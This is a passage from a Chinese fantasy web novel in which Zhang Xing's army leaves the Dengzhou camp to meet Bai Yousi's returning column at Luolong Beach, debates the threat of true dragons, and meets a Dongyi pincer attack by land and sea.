再加上之前其人调度分明,集中军需物资,沿着河道建设兵站,大队折返接引队伍,包括遣钱唐去往西面来寻张行,遣苗海浪重新出海去引据说已经抵达登州大劳山的东海船队来做接应,堪称有条不紊……倒着实让周围人愈发敬佩起来。 且不提白有思在下雨前的这个仲秋成功打通前往落龙滩的最后一个节点,另一边的登州,却过了一个无风无雨的仲秋。 “登州没有仲秋节?”微微迎风滚动的红底“黜”字大旗下,张行明显觉得有些奇怪。 “不能说没有仲秋节,秋收后第一个农闲的月中,怎么可能没有节日?”秦宝俯身安抚了一下胯下的斑点瘤子兽,然后有一说一。“只是习俗跟东都的不一样……东都那边的仲秋三哥还记得吧?就是官府要给六十岁以上的人发米、送饼……” “我记得,我记得。”骑在黄骠马走在前面的张行连连颔首。“我在台里做过这个……饼要粗大,胡黑绶还提醒我,所有的饼都不许比中丞的大。“ 秦宝愣了一下,方才继续来言:“是……至于登州这里,主要以祭祀为主,一般要祭拜三辉四御,尤其是祭拜三辉中的双月,白月保丰收,红月保平安……也要做饼,但饼要圆,跟月亮一般圆,而不是要粗大。” “关西也是吃饼,但不是粗饼,而是小饼,红饼跟白饼叠在一起吃。”插嘴的人是一个意料之外情理之中的人,唤作张十娘,乃是李定之妻,之前一直在河南涡河一带协助千金教主建设医院与医学院……此时闻得消息,知道是要接应结义姐妹,却是轻身而来,堪堪赶到。” “好像河北也是。”从前方目的地过来迎接的苏靖方顺势接了自家师娘的话。“我都吃过。” “关西的双饼是甜的,河北的饼子是咸的。”雄伯南认真提醒。 “这个确实。”张十娘表示认可。 “南方是赛凤舟。”那天以后明细有些沉默的白金刚脱口而对。 “南方什么节日都赛凤舟,北地人什么节日都夺陇。”不知道是想嘲讽还是单纯想跟白金刚搭话,程知理又插了一杠子。 而话题到此,众人不免议论纷纷,结果就是,好像仲秋这个时节,各地都有风俗,却都不相同。 “这就对了,这就对了。”听了一阵子,张行连连颔首。“时间摆在这里,又是秋收后,怎么可能不过这个节呢?等这次事了,我们就重新定个礼法……不是重新修订日期月份的意思,而是要把这些节日给官方化,这一天就是一个节,然后都吃一样大的咸月饼,还要放假,过年放假、清明放假、端午放假、重阳放假、仲秋放假……过年放十天,其余放五天,不耽误旬日休沐。” 雄伯南有些无语:“是不是假日太多了……而且端午是什么节日?” “不不不。”张行在马上抬起一只手连连摇摆,假装没有听到端午的疑问。“是太少了,要我说,还可以每月最后一旬多加一日休沐……不要小看休假这个事情,消费和放松的效果其实比咱们想的要多要好,只说一个提振士气,就堪比廊下食。” 几名交谈中的人面对着这只手明智的闭上了嘴……至于其余随从,一直都是在周边听着而已……唯独张十娘,倒是跟着点了头。 就这样,众人不停转换话题,又走了一阵子,而转过一个小丘,一个其实算是熟悉的庞大永久性建筑群忽然出现在视野中,张行却往道旁一拐,然后勒马驻在小丘下,也慌得随行许多人勒马。 “算了。”张行在马上沉吟片刻,给了众人一个颇为无语的表达。“本想问问胡彦胡黑绶如今情形的,但眼下局面,众兄弟都在前面等着,何必计较一个外人?” 说完,竟重新打马往前走了。 众人无奈,只能跟上。 再往前几步,便来到了登州大营……或者说是三次征伐东夷的前进大本营处……眼见来人,等候在此的诸位头领也纷纷迎上。 双方见面,刚刚下马,未及寒暄,马围便迫不及待:“首席,十二个营已到此地十营,李子达营在东南侧大劳山港口处,曹晨营已经直趋落龙滩。除此之外,登州四个戍卫营中的两个在此,诸位金刚也已经齐全。” 见到马分管上来谈了正事,随行的与等在这里的头领都只好肃然起来,而张首席也不好压制人家的工作热情,只是瞥了眼装了两三万人居然还显极度空旷的营区,便立即点头,然后步行牵马入营:“部队士气、装备如何?” “都比较完备。”马围继续介绍。“毕竟已经休息了三四个月,兵员都补充了,装备也齐全……其实只说休整,到这个份上足够了,只是因为要去落龙滩,还是有些畏惧,我们已经做了安抚。” 张行继续点头:“他们畏惧什么?” 马围明显一愣,复又立即解释:“三次东征都无了,自然畏惧。” “具体一点呢?”张行将战马交给营门内马厩前的军士,回头追问不及。“到底是怕什么?怕落龙滩两头算起来几百里的荒滩没有补给?还是怕东夷人的军队、大宗师?怕不怕真龙?” 马围沉默了一下,周围人也没有抢答,而片刻之后,这位负责此次行动的王翼部分管方才缓缓开口:“都怕!” “那你是怎么安抚的?”张行目送黄骠马被送入马厩,驾轻就熟朝着营地内的一处地方而去,周围人纷纷跟上。 “我告诉诸位头领,让他们依次往下传达,咱们这次的根本目的是接应登州白总管,而非是要主动作战。”马围一边走一边说。“其次,便是作战,东夷人也不可能是倾国之兵,十之**是一支两三万追击或阻截部队,最多最多是一支追击部队、一支阻击部队外加一支水军从河口登陆……而便是这般,咱们也不怕他们;至于大宗师,我也说了,咱们有十三金刚,有雄天王跟白总管,并不怕他们。” 张行再三颔首:“是这个说法……真龙呢?” “真龙……我觉得便是有可能遇到,也不该跟军士们说。”马围坦诚相告。 “对的。”张行开始爬坡。“这是对的,没必要跟他们说,说了只会引发军心浮动,疑神疑鬼,更不要说真遇到了,也不会让他们上,这十二营兵马,就是为了做接应,而不是让他们对付真龙……对付真龙的是我们。” “真龙真会出来?”刚刚抵达的王叔勇明显好奇。 “不大可能,但咱们作战得以防万一。”张行继续爬坡不停。“而且我得告知你们一些实情……白总管被卷到东夷,十之**跟至尊真龙有关,所以,咱们这次遇到真龙至尊的情形,肯定不是‘万一’。” 身后众人明显一滞,连爬坡的速度的都慢了些。 不过,很快就有人越次跟了上去,却是学着那些登州少年披着彩色罩衣的刘黑榥,其人上前几步,便大声来言:“要我说,早该遇到了!咱们黜龙帮如今多大威势,就算是薛常雄跟罗术还没拿下来,地盘也有整个东境、整个淮北,外加大半个河北了,到这份上,有些事躲不掉的!今天没有落龙滩见见青帝爷,明天去打北地,难道就不去拜拜黑帝爷了?真到了一统天下的时候,首席都是叫陆上至尊的!” “这话有道理。”张行回头来笑。“若我是陆上至尊,那咱们刘大头领也是有真龙风范的。” 周围哄笑一阵,纷纷跟上,反倒是刘黑榥本人明显一愣,不知道想到了什么,再跟上时也没有再说话。 开口的是莽金刚:“其实诸位兄弟也不必太慌张……时候不一样了,至尊是不会亲自下场的,最多最多是露个脸,说几句话,平素也就是刮个风下个雨,哪里会真的动手?我估计最多最多,就是此地的分山君、避海君露个面。” “分山避海君露面又如何?”张行来到坡顶,驻足回问。“咱们总得从最恶劣的情势做个计较。” 众人忙不迭颔首,就势在这个小坡上按照帮内身份站好,然后看向最近明显新剃了头(也可能是自家用真气刮的)的莽金刚。 “真龙是这样的,大家不要以为真龙便是无敌的,真龙强不强?确实强,而且就是强在一则通人性,二则非人力所能及。”莽金刚作为一个半专业人士,倒是言之凿凿。“通人性大家都知道,可非人力所能及,却不是说战斗,而是某种能耐……譬如分山君,就是钻山分野;又如避海君,就是括海起潮;还有那北地凡人最常见的吞风君,就是吞吐寒流;呼云君呢,就是召唤云雾……” 不少人恍然,也有不少人似乎早就知道。 “大家想一想,分山君起了地震,凝丹的真就怕了?飞起来就是。而且落龙滩本地多泥沼之地,周围都是荒滩,起了地震又如何?”莽金刚继续来作讲解。“倒是避海君,若起了潮水,就不得不防了……况且,避海君是受那边的敕封,咱们出兵,更要提防。” 众人议论纷纷,毕竟,避海君涨潮这个事情,之前三征中可真是印象深刻,唯独开了这个话题的张行,此时反而有些出神,却不知道在想什么。 过了片刻,其人方才回过神来一般发问:“若涨潮如何?咱们可有防备?” “有两个策略,但都一般。”马围随即开口。“一个是顺着几条小河,趁着秋日水涨运送一些小船进入落龙滩,还有一个是从海路,发一些海船……后者是主要手段,集中了东海跟琅琊的海船,李子达大头领去大劳山就是为这个,但总体来算,船只还是不足,尤其是以接应近十万俘虏流民为主时,就更是显得杯水车薪,只是勉强够咱们这十来个营必要时承载。” 张行点头。 “其实也不必太过忧虑。”徐师仁忽然插嘴。“若是东夷人用兵,双方在野滩交战,敌我混杂,如何起潮?若是东夷人不用兵,强行召唤真龙起潮,那便是天灾一般了,咱们尽人事听天命便是……何必非要争高下?” “徐大侠说的有道理。”程知理也插了嘴。“咱们是去接人,又不是学那死皇帝要灭了人家……怎么就要动地气唤出来真龙?更不要说学之前不计自家儿郎生死平地起潮了!” 大家纷纷颔首赞同,确实是这个道理。 张行想了想,也是无奈:“若真是涨潮,咱们也没办法……海船就那些,河北那边的海船就是这次登州军放弃在东夷的船队,徐州的海船更是在三征时就丢在了东夷……咱们算尽力了,反而不必挂虑。但若是没有涨潮,只是真龙出现又如何应对?” 众人复又去看那光头。 莽金刚摸了摸光头,诚恳以对:“真龙抛开自证或者至尊所授的神通,其实便是一条,就是祂自家的身体……真龙的身体不是什么骨肉那么简单,祂的体型便是祂自家真气显化的大小,而且鱼尾便能游水,鹿角便可知福祸,神通多多。” 雄伯南明显一愣:“只是如此?” “这还不够?”莽金刚明显无语。 雄伯南摊手:“我也能显化个几十丈真气出来,也能飞起来,那司马正的巨人你们也见过……” “天王晓得真龙有多大吗?”莽金刚愈发无语。 “真显露真身,百丈也是有的。”张行插嘴道。“或许更大,记不得了,反正堪比山丘……虎首、鹿角、蛇身、鹰爪有四、鸟尾分三叉。” 周围一时沉默。 “这是分山君……”打破沉默的是白金刚。“首席见过?” “见过。”张行抬手往东北面一指。“当日二征,自那里逃回,恰好就是分山君自那里钻出……打了个照面。” “首席,这不是黜龙的时候……”马围勉力提醒。 “自然,但还是那句话,心里总得计较一下。”张行看着莽金刚来问。“分山君去了地震,还有百余丈真身,如何计较?” “想要计较百余丈真身的巨龙。”莽金刚忽然开口。“其实按照刚刚天王的话来算就行,总得有十二三个同心同德的天王才行。” “可惜我们只有一个天王。”张行幽幽以对。“加上白总管也不过是两个……” “白总管一人胜我三人,与司马正仿佛。”雄伯南诚恳言道。“十三位金刚加一起,也抵我三个……若是其余人能再抵我三四个……” “账不是这么算的。”莽金刚无奈解释。“我们结阵,最多是防御抵抗,况且我们能抵抗三位天王,却未必能受十位天王合力一击……至于其余人,即便是大家加一起实力够了,有几个能在空中稳住结阵的?真龙怎么会落地跟你碰?” “那便是没法子了?”张行若有所思。 四下没有回应。 说实话,进行到现在,大部分人都意识到了,张首席可能是当年做排头兵的时候,对分山君有了心理阴影,所以放不下了,这才追着问这个。不过,大家也都觉得张首席有些过虑,只是去接应白总管,便是中间有些真龙神仙身影,也不至于会交战……最多最多,就是大家担心的会起潮,真这样的话,就当是天灾便是,反而没有多少念头。 “首席,要我说,咱们走的是落龙滩南路,最麻烦的是潮水,其次是地震……而与这些天灾相比,真龙真的跟我们打起来,反而不会有太多伤亡,大不了跑就是。”莽金刚适时提醒。“能耐到了,自然要分高下,能耐不到,只做是天灾,没什么可想的。” “说的好,说的对。”张行想了一想,挥了下手,倒算是坦荡。“我不该过分想着什么黜龙之事,咱们这次的主要任务是做接应,应该以这个为准……说说进军安排。” “戍卫营就不去了。”马围恢复精神,努力来言。“十二营兵马,先锋是曹晨的骑营,已经出发,其余分成三路,一路往北面顺着那边一条河道走,一路从南面大劳山沿着海岸走,以监护船只,然后大部队从此处出发……我意,北路以樊豹、樊梨花为主,南路以贾务根营去支援李子达,其余分步骑,自此处出发,一路向东。” “可以。”张行点点头。“军事计划就这样,马分管办事是妥当的。” 话到这个份上,周围人都去看张首席,等他下令。 但不知为何,张首席却并没有下令,也没有继续说些什么,反而是立在这个山坡上,望着远处出神,而且目光不仅仅是停留在东北面那座绵延不断,对这个世界的人而言天经地义、对他来说突兀雄奇且有巨大意义的山脉,包括东面消失的视野尽头的荒滩平原,东南面的丘陵、海面,也全都在目光之中。 停了片刻,张行方才笑了出来,然后左顾右盼来言:“诸位,你们知道我为什么一进来就来此地吗?” 众人自然不解,便是身后秦宝晓得,此时也不会插嘴。 “当初三征,前方水陆主力一起大败,损师数十万,全军沮丧,而当日我就是在这个坡下,以伏龙卫常检的身份持刀做护卫。守到傍晚,忽然一个来战儿营中公干的刑部吏过来,寻到刑部侍郎王代积,说是前方周效明水师大败,其子周行范口出怨言,要杀官做反,王代积是个有计较的,便来看我,我则一刀杀了此人,却又惊扰了坡上的皇帝。” 张行娓娓道来,周围人都听得入神。 “然后我又上前搪塞,说是看到一只仙鹤从此处飞起,一时按捺不住,起了动静……结果大败之下,皇帝直接赏了我武安郡太守的职务……从那时起,我便晓得,得**了!” 众人各自一振,都想继续听下去。 孰料,张行立在那里,却闭上了嘴,停了许久,方才望着前方的山海平野吐了一口气出来:“诸位兄弟,今天咱们站到当年曹彻跟大魏权贵站的地方,虽然气势上差了许多,大营也空荡荡的,但到底是站上来了……所以,总得记住,不能把指望放在什么仙鹤上面的……走吧!不要耽误了,即刻出兵!” 众将凛然称命,纷纷往下归营。 这个时候,秦宝方才跟上一步,低声来问:“所以,三哥不准备往山里走一遭了?” “不去了。”张行一边往下走,一边平静叙述。“等咱们老了,退休了,再来历险吧,现在每时每刻都应该把心思放在正事上。” 秦宝克制住了对“退休”的吐槽,安静的随对方走了下去。 下午时分,全部十一营兵马便已经汇集起来,随即樊豹、樊梨花兄妹二人先行出北门,贾务根出南营……张行也上了黄骠马,将甲胄打包挂在马后,然后便目送中军大队的前军,也就是王叔勇部出营。 但也几乎就是这个时间,不知何时,渐渐有人看向了北面的天空,彼处,似乎有一股乌云正往此处飘来。 张行也很快察觉到了这一幕,然后他迅速意识到那是什么了,这一幕他见过了很多次,属于正常的自然现象——一大群乌鸦而已。 冬季之前,乌鸦会合群,往往会形成万只以上的巨大集群,看位置,应该是从东北面山中出来,往周边田野集体觅食的。 很合情合理。 然而,即便是所有人都知道这个道理,当数万只乌鸦铺天盖地飞过营寨,并在略显破败的登州大营周边盘旋了几圈方才离开后,还是陷入到了某种奇妙的情绪中。 “传下去,让所有军士都知道,这是黑帝爷在保佑我们。”张行在马上与马围做了吩咐,然后目光扫过从自己身侧路过此时却惊愕停驻的一营兵马……这是苏靖方的营,其中一些军士身材高大突出,皮肤微微发红,明显是红山人……然后却毫不犹豫,打马引着自己 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而也就是同一时刻,在落龙滩另一侧的白有思等到了王伏贝。 后者给她带来了一个“惊喜”。 “你追到人了?”细雨中,白有思看着对方拎着的首级,难得有些错愕。“怎么追到的?何处追到的?” “就是顺着路追到的。”王伏贝反而对对方反应感到不解。“他们躲到釜岭那边,被我追上,速战速决了……只是可惜,许多人都沿途散了,没法整个带回来。” 白有思想了一想,点点头:“做的好!但你确系沿途没见到东夷人的追兵,也没见到有兵马收拢和控制沿途关卡?” 王伏贝愣了一下,也是意识到了问题所在,然后缓缓摇头:“没有。” “那事情就简单了,他们必然会在前面堵截我们。”白有思做出了判断。 “不错。”王伏贝此时也醒悟了。“如果要放我们走,他们必然会早早起兵占据被我攻破又扔下的关卡才对……前面必然有阻截!” “咱们当年的落龙滩有多宽?”细雨中,白有思忽然来问。 “当面是最宽的,大概两百六七十里?”程名起在旁插嘴。 “每日三十里也就是九到十天?” “是。”程名起提醒。 得到答复后,白有思在雨中转过身来,看着尚未完全抵达的队伍行列,做出了决定:“不要休整了,咱们今天就冒雨出发!扔下多余粮食跟辎重,轻装上阵,须知迟则生变!” 周围几名头领,从王振开始,到马平儿为止,面面相觑后全都颔首。 便是不懂规矩的东夷人刘延寿,也都点头认可。 然后白有思复又看向另一人:“齐王,三郎必然已经在对岸了,你速速过去,连夜不停,告知情形,让他做好交战准备。” 曹铭立在雨中,似乎有些狼狈,闻言还是颔首,然后转身而去了。 目送对方鼓动真气骑着马消失在雨中,白有思犹豫了一下,但还是回头朝登州头领们提出了一个方案:“我有一个想法……是不是应该让大队拆散,分多路进发?毕竟一打起来,咱们就没法顾忌他们了……到时候,能走多少是多少,而两边的队伍便是被东夷人截住,也不会有性命之忧,而我们与接应部队则以此为预警,集中与他们交战……如何?” “可行。”王伏贝第一个赞同。 而其余人明显还在想,倒是王振有些不耐,闻言立即挥手:“不要想了,到了这个时候,有主意、能行就做,想太多、算计太多,反而没用……就这么办!” 此言一出,程名起与马平儿外加阎庆也都赞同。 计议既下,十万之众也被分割成了十路,当日下午便冒雨出发……坦诚说,问题多多,很多人都抱怨冒雨赶路,路线也有些混乱,要求扔下多余粮食的军令也没有被彻底执行……但是,随着之前逃窜队伍被捕掳的首级挂在了河畔树下,队伍到底是在强压下大举出发了。 两日后,也就是仲秋后第七日,八月廿二,天气晴朗,曹铭见到了张行。 八月廿三,小雨,白有思遇到了曹晨部的轻骑,双方完全联络成功,并尝试讨论调整路线以作汇合,但白有思这里因为队伍过于分散,已经无力调整,而且因为天气,路线弯曲,部众分散,补给不足,非战斗减员,士气低落等等缘故,白有思这边的行进速度远远低于之前预估的每日三十里……三天只走了大约六十里。 实际上,不止是白有思,张行那边也是,双方一进入落龙滩核心区域便意识到,在秋日水位较高的情况下,整个滩内水涨,沼泽面积扩大,以至于距离是距离,路线是路线。 两百七十里的距离,实际上的路程可能要增加一半。 故此,到了这一日双方联络成功的时候,双方主力距离足足有一百余里,实际路程可能有两百里,但因为曹晨部的骑兵营早早进入滩内巡视,双方的哨骑已经频繁往来,联络也通畅起来,且未曾见到任何东夷人的军队。 八月廿四,樊豹、樊梨花兄妹接到军令,扔下船只,放弃河道路线,在落龙滩内往更北面巡游,以确保西进队伍完全被包裹接应,也是做上游警觉的意思。 八月廿五,双方再度通信,都意识到了一个问题,那就是苗海浪消失了……这个时候,即便是苗海浪真出了事故,淹死在海里了,也不能这么想。 但是,到了此时,想要调整路线避开南侧海岸线已经没机会了,双方都只能硬着头皮继续进发。 八月廿七日,又是小雨,昨夜扎营,双方主力相距不过三十里。 启程后,张白二人虽然都急切看到对方,但依旧压阵不变,甚至张行主动放缓了速度,也要求所有部队放缓速度,准备中午接触对方之前就完成掉头,倒是张十娘这一次算是编外人员,第一时间先行过去了。 而西归众人见到张十娘到来,晓得今日就能会师绝非虚言,士气自然愈发振作。 到此为止,依旧没有见到东夷人的大部队。 “四娘,你还想着要给大哥报仇吗?”落龙滩内,黜龙军最北端,距离主力足足五十里的地方,接到军令停止进军就地警戒的樊豹似乎有些百无聊赖,在布置好军务后,勒马立在细雨中,然后忽然开口来问身侧的自家妹妹。 樊梨花沉默了一阵子,明显有些迷茫:“我不知道,若是以整个黜龙帮做仇人,那现在我活着的亲眷朋友,从二哥你开始,全都是黜龙帮的人;而若是以个人为仇人,大哥是**……而且,便是想报仇,现在黜龙帮的局面哪里是我一杆枪能戳得动的?大宗师都压不住。” “那就是放开了?”樊豹继续来问。 “也不是。”樊梨花坦诚以对。“心里还是有一些别扭,还是觉得不能让大哥白**……说不得有一日黜龙帮落难了,只剩几个人了,我还是会动手。” “不会了。”樊豹抬头看了看阴恻恻的天,幽幽以对。“真到了那一日,你肯定想着为帮里你这些亲眷报仇的心思更多一些才对。” 樊梨花愣了一下。 “其实我也是跟你一般心思,所以才想到这一层。”樊豹一声叹气。 樊梨花是真的无言以对了。 过了片刻,樊豹忽然再问:“苏靖方如何被窦龙头招了女婿?你不管的吗?” 樊梨花目瞪口呆,半晌开口:“我管他作甚?” 樊豹点点头,复又来问:“帮中河北那边那么多年轻头领,你看上哪个了?” 樊梨花依旧无语,半晌只能摇头:“半个未曾看上。” 樊豹依旧缓缓,好像当年张须果麾下那个脾气暴躁的人不是他一般:“没看上就好,不然我给你说了媒,你又闹出事来……” “你要说哪家?”樊梨花是真懵了。 “贾闰士。”樊豹坦然的可怕。“乡里乡亲,知根知底……现在还是首席的嫡系,不好吗?贾务根这次也来了,我们在登州大营里就说了。” 樊梨花只觉得头都要炸了,刚要发作,却见一骑自北面冒雨而来,正是她的副将,也是当日护着他出走河北的郭三郎,也是赶紧肃然,主动迎上几步:“三哥,如何这般急促?!” “东夷人来了,哨骑汇总,最少三万!”雨水不大,郭三郎脸色明显是汗水。“打着王字大旗,分明是东夷王族领的主力,应该是东夷北营的兵马!” 樊梨花立即紧张起来,本能看向自家二哥。 倒是樊豹,闻言明显松了口气:“这就好办了……提心吊胆许多天,早就等着呢,不怕他们!全军披甲、集合,缓缓往南押后,四娘带两三百精锐往北面走,骚扰阻挠,发哨骑,告诉南面部众此间情况。” 得了军令,樊梨花如得了主心骨一般,立即招呼了自家营与兄长营中各自一个骑兵队,套上甲胄,便汇集三百骑北上去了。 部队也在郭四郎的协调下整备起来,结成松散阵线,缓缓南撤,更有哨骑数十,拼命南下。 距离颇远,而等到消息传到“黜”字大旗下时,黜龙帮主力军阵已经开始掉头了,西归之众也远远望见这边军阵,欢呼雀跃起来,但张白二人尚未见面。 也就是这个时候,樊豹的信使到了。 “首席,是分兵阻击,还是集中兵力**过去?”马围紧张询问。 “我觉得应该分兵阻击。”张行想了一想,给出答复。“分兵是因为只是北面,不能确定南面是否还有东夷人的水军,阻击是防止与对方交战迅速决出胜负,结果潮水反而涨起来了……天王,你们以为如何?” 就在旗下的雄伯南立即点头。 马围也毫不犹豫,转身去做传令。 而张行则继续往前去……走了大约小半个时辰,越过已经开始转向、分兵的本部主力军阵,便见到对面队伍中有一簇军势明显严整,却都是步行,但周围却有许多哨骑往来环绕不断……其中一人,素衣负剑,正是自己妻子白有思。 张行见状,便翻身下了黄骠马,步行迎上。 待到跟前,周围早已经欢呼雀跃起来,但白张二人却明显克制,双方只是正色相迎,甚至还有些紧张。 “北面已经有三万东夷主力过来了,已经遣了五个营去做抵挡。”张行一开口,却只是公事。“思思自东面来,觉得东夷人战力如何?” 白有思想了想,认真相告:“只是寻常战力,一路走来,只觉得曹彻果然该死。” 就跟在张行身后的曹铭居然没有黑脸,反而只是一声叹气。 “那就好。”张行点头,复又看对方放开悬挂却还明显做了包扎的左臂。“伤势严重吗?” “不严重,只是使用的时候有些疼。”白有思抬了抬胳膊坦诚道。“可又有些奇怪,区区骨肉之伤,许多天不好。” 张行点头,终于没忍住:“可曾想我?” 白有思终于绽笑:“确实想你。” 周围人,便是张十娘也只好低头做没听见,却不料众人都假装没听见,不免显得附近都安静了下来,跟更外围的喧嚷兴奋格格不入。 不过,张行到底是脸皮厚,只装作不知其余人在装作不知,继续来问:“思思觉得,咱们这次回去,只是这三万东夷主力军吗?” “必然不止。”白有思即刻摇头。“我知道三郎在想什么……我也觉得你之前猜的对,但那又如何?既然又一起了,便是真龙至尊咱们也不怕!” 话音刚落,微微变大的秋风中便又有哨骑抵达,却是南面海岸线传来消息,有水师自海上抵达,黜龙帮的船队远远便狼狈逃窜,而水师并没有追击到底,只是继续往西越过一点位置便往岸上靠拢了。 关键是,水师中有一艘巨大的楼船龙舟,格外显眼。 很显然,人家要集中优势兵力,辅佐以大宗师之威,在这个前后百里都是沼泽的死地,将他们全部拿下。 似乎有些出乎意料,张行也好,白有思也罢,包括雄伯南等东进接应将领,王振等西归将领,此时全都是一个念头——就这?! 黜龙帮至今日,何惧此类? PS:大家每天发大财 推书:《中兴大明,从南京登基开始》 第四十五章 归来行(11) 面积巨大的盐碱沼泽地内,黜龙军冒着细雨行动了起来——他们更改了之前的计划,不再立即向北面布置防线,而是大举收缩队伍,同时催促夹在中间的各路流民、俘虏速速往原定路线偏北的方向极速前进。 这个动作有两层含义,首先是以战兵做诱饵兼断后,确保这些流民和俘虏尽量脱离战场西归……一百多里地而已,沿途有黜龙帮建立的简易补给军营,所谓盐碱沼泽地里也不乏淡水溪流、河道,若没有追兵的话,便是有所减员,也绝不会耽误大部折回登州;其次是要集中兵力的同时尝试引诱对方兵马深入,然后相机动作。 实际上,又过了一个时辰而已,北面樊氏兄妹便传来最新的讯息——樊梨花亲自冲阵侦查妥当,通过观察与审问俘虏,得知来敌应该是以东夷人在落龙滩北端设立的北大营为主力,然后都督此军的东夷王族大将王元德又带来了一部分增援兵马。 “按照之前南大营的战力来判断,完全可以打。”军情严肃起来,马围反而振奋。“只要王元德深入,咱们可以直接集中优势战力,一举冲散北面部队,到时候就算没有破局,也足够从容了。” “可以,先按照这个计划来。”张行一如既往的选择推卸责任。 马围振奋而去,一手牵着黄骠马一手牵着白有思步行的张行却开始了夸夸模式……倒不是夸只白有思,而是说,在夸完白有思的大智大勇之后他便与身侧白有思一唱一和,对西归的众人,从唯一的大头领王振开始,到随行的三征俘虏,只要是被点到跟前的,全都开始了不要钱的夸奖。 他说五百骑突袭东夷人南大营的王振:“志气天成,果敢英进。” 夸沿途负责武装保卫的王伏贝:“有勇有略,帮之臂膀。” 夸管理俘虏的程名起:“朴素严密,文武兼通,将来未必不能进南衙。” 就连阎庆都被夸赞:“聪达明锐,临乱持节。” 弄的其实只是跑来一趟别的啥都没干阎小哥都有些不好意思。 倒是马平儿不在,猜也能猜到去见王雄诞了。 而这就显得很不务正业。 人家大宗师与王族大将领着两路大军正在往你这里呈两面包夹之势呢! 然而,不止是张行,包括雄伯南、程知理,连着来接应的许多其他头领,乃至于下面队将甚至什长一类军官,也都在做类似的事情……他们或是嘘寒问暖,或是夸赞称颂,或是单纯说笑话,还有人在夸饰他人与自己的武勇、修为,甚至有夸文学的,反正不一而足。 这与外围大量军队的披甲整备,整队整营的调度,往来不断的哨骑,挤在一起参军们停在泥沼中大声商议的计划,盐碱地里的杂乱水汪,包括天上渐渐加密的小雨,都与这种放松气氛形成了某种怪异的对比。 你别说,效果还是有的,最起码许多原本紧张的人也都渐渐放松了下来。 “经历过年初河北那一场的都挺自在。”同样在步行西进的高金刚四下去看,得出结论。 旁边的白金刚抹了一把不知道是汗水还是雨水甩到脚下,继而微微皱眉:“这是自然,但我还是觉得首席托大了……应该再多带些高手才对。” “不对,你说的不对。”高金刚摇头反驳道。“帮里那么大摊子,不可能倾巢而出,那能出多少呢?再来,不过是多来十来个凝丹-成丹之类……” “既能多来十来个凝丹,来了不好吗?”白金刚脚步不停,却转过身来正色驳斥。 高金刚晓得自家兄弟脾气,也是不急不慌:“这就要扯到另外一个说法了……现在是一个大宗师领着两路几万兵,而咱们只是要走的话,眼下阵容足矣;而若是真龙出来了,多十来个凝丹成丹,说不得反而会增添伤亡,给帮里造成多余损失。” 白金刚一愣,复又摇头:“话是这么说,可指望这些人就能从容压过大宗师,还要看那白三娘到底是不是名副其实才行……” “你连这个都疑?”高金刚看着自家兄弟,微微眯眼。 “以前是不疑的。”白金刚一边走一边低声道。“但从观里出来,见到这么多所谓英雄、豪杰、点选、教主之后,觉得也就那样……未必没有一块好底子却被这世道人心磨烂的。” 高金刚这次倒是附和着点点头:“这话是有道理的,只不过人家白三娘未必是你说的这种……帮里这么多人都服气的,何况人家这次既把整个登州军给全须全尾的带回来,还带回了这么多之前三征的俘虏,还有这么多流民,沿途破关斩将,丝毫不乱,足堪对她身份了。” 白金刚这次也没有继续再犟,反而点点头:“这倒也是。” 话到这里,他复又催促对方:“你自去忙碌,不必围着我说话。” “我若不陪着你,岂不是又要你一个人孤零零赶路?”高金刚依旧从容随行,却又忽然止步。“不对。” “什么不对?”白金刚反而诧异。 “这白三娘自金鳌府一路杀过来,过了几多关,杀了几多将,早已经让东夷人心惊肉跳、咬牙切齿,不然也不会也有今日的事情了,对不对?” “自然。” “那敢问王元德如何会中计,轻易提兵冒进呢?” “这就是高师兄你不懂军事了。”白金刚嗤笑一声,反过来做了解释。“几万人的军事对峙,但凡有一成中计的可能,便该有此准备的……这种力量差距不大的大规模野战,都是这般不断拉扯、试探、对峙,然后根本不知道什么时候什么地方忽然爆发战斗的。” 高金刚恍然,兄弟二人便继续在周遭怪异的夸夸气氛与整肃氛围中赶路。 不过,不得不说,两人的判断还是对的,黜龙军大举收缩,但王元德俨然早有计较,根本不中计,反而在面对黜龙帮假装出来的阻击骚扰下主动放缓了行军速度。 这基本上宣告了黜龙军诱敌深入的战术预想失败了。 又过了一个时辰,下午时分,更麻烦的事情出现了——东夷人水军在西南侧海岸登陆后,行动迅速,连滩头阵地都不设,就立即往黜龙帮主力西侧最近的一个营地,也就是张行等人昨夜设立的营地而去,而且是登一军发一军,半点迟滞都无。 南北两面,一偏西一偏东,一水一陆,一急一缓,形势立即改变。 这个时候,有人提议反向改变策略,集中兵力,猛扑海滩,却被马围拒绝……马围的理由也很简单,那艘巨型楼船明显是郦子期的塔,有塔的大宗师跟没塔的不是一回事,不然也不会让俘虏和流民远离海岸西归了……所以,与其冒险,不如稳妥起见,待其自行离开海岸,从容在昨夜营寨处作战。 这就是要放弃急袭的计划,转而寻求稳妥对峙路线了。 而大部分人也都迅速同意并通过了这个建议……毕竟,大宗师的威力大家已经见识过一回了,对于来援的黜龙军主力来说,眼下的高端战力配置似乎足以应付一位离开塔的大宗师,却未必一定要尝试应对一位有塔的大宗师。 哪怕说,众人心知肚明,等在距离海岸线几十里的地方,未必就能真的避免面对一个“有塔”的大宗师,但还是愿意为了这点可能性放弃战术选择。 说白了,不能讲是有了心理阴影,但也是见识了大宗师那种碾压式手段后,宁愿真刀**去拼命,也不愿被人轻易宰杀……哪怕这种宰杀造成的伤亡未必有军队交战杀伤来的多。 对此,张行也同样是迅速赞同批准,主打一个逃避责任。 计议既定,全军极速收缩进军。 但是,这位大都督麾下兵马果然不同凡响,仓促登陆,临时突袭,却居然在黜龙军主力回归前便有一军扑到了那个临时的、以土垒杂石为基准的营寨之前。 “余将军,黜龙贼主力还没回来!”排头小校大喜过望,立即回身来向自家主将做汇报。“营内空虚!” 东夷名族余氏出身的水师大将余义慈也不搭话,径直打马上前来看,果然看到偌大的营盘只有靠着自己这面挂着一架高字旗,营中士卒也极少,不由振奋。 不过,其人依旧没有急切下令,反而是忽然自马上腾跃起来,卷着一股仿佛什么带着翅膀活物的长生真气来到高空之中,借机四下来看,立即看的清楚——黜龙军主力其实已经快到了,只是阴天小雨再加上隔着营盘,所以寻常士卒没有发觉而已;而与此同时,黜龙贼营内确系只有一个高字旗,而且兵马稀疏;更重要一点是,这盐碱地沼泽区内缺乏木材,黜龙贼的营盘极其简易,根本没有木栅,只有一些石垒壕沟外加一些帐篷罢了,望楼和门也没有,只有几个人工堆砌的高坡和一些稍作平整的道路。 探查清楚,待余义慈在空中一转身,看了眼身后自家军势,便径直落下下令: 